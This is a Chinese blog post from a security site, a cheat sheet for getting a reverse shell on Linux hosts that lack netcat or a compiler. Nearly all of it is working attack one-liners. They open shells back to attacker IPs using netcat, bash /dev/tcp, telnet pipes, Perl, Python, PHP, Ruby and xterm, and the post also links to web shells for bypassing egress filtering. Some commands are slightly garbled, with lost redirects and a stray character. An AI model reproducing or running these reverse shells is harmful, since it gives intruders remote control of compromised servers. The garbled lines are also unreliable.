当前位置: 首页 > 信息安全 > 正文

反弹Linux得到shell的正确方式

Mr.linus 发表于2015年5月30日 18:07
很多时候我们不能简简单单地利用nc反弹得到一个命令行shell
比如那台服务器在内网 而且没有nc
更有甚者连编译器都没有 所以连自己编译nc都难以做到

我最近遇到的一台内网中的hp ux就存在如上情况 下面是解决方案

1. NETCAT with GAPING_SECURITY_HOLE enabled: (存在-e选项)
TARGET: nc 192.168.1.133 8080 -e /bin/bash
ATTACKER: nc -n -vv -l -p 8080

2. NETCAT with GAPING_SECURITY_HOLE disabled: (不存在-e选项)
TARGET: mknod backpipe p && nc 192.168.1.133 8080 0backpipe
ATTACKER: nc -n -vv -l -p 8080

3. 没有nc 那么你应该试试 /dev/tcp socket 方法
TARGET: /bin/bash -i > /dev/tcp/192.168.1.133/8080 0<&1 2>&1
ATTACKER: nc -n -vv -l -p 8080

4. 假如权限很低 连 NETCAT 或dev/tcp都不能使用 我们可以结合 telnet 和backpipe来执行命令:
TARGET: mknod backpipe p && telnet 192.168.1.133 8080 0backpipe
ATTACKER: nc -n -vv -l -p 8080

5. Telnet和管道结合执行命令
TARGET: telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888
ATTACKER: nc -n -vv -l -p 8080
ATTACKER2: nc -n -vv -l -p 8888

6. 直接使用BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

7. 调用 Perl
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

8. 调用Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

9. 调用PHP
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’

10. 调用Ruby
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

11. 利用Xterm (如果存在)
xterm -display 10.0.0.1:1

12. A few Web Shells that have some cool connection and bypassing features built into them:
· Priv8-2012 PHP web based shell which can be downloaded from packetstorm: http://packetstorm.igor.onlinedirect.bg/UNIX/penetration/priv8-2012-bypass-shell.txt
o Might need to review the code for a backdoor near top, be warned!
· Php-findsock-shell- designed to bypass egres filtering, available here: http://pentestmonkey.net/tools/web-shells/php-findsock-shell
· Weevely- avoid bind shell/reverse shell via console over HTTP communication channel, available here: http://www.garage4hackers.com/f11/weevely-stealth-tiny-php-backdoor-1002.html
· WeBaCoo – (One of My Favorites) – uses HTTP communication channel and passes commands through cookie parameter. Need to chain commands though due to the nature of it as you cant change directories, available here: http://packetstormsecurity.org/files/108009/webacoo-0.2.zip

全文完
本文标签: linuxshell
本文标题: 反弹Linux得到shell的正确方式
本文链接: http://www.90qj.com/m/?post=144

〓 随机文章推荐

共有5821阅 / 0我要评论
  1. 还没有评论呢,快抢沙发~

发表你的评论吧返回顶部

!评论内容需包含中文


请勾选本项再提交评论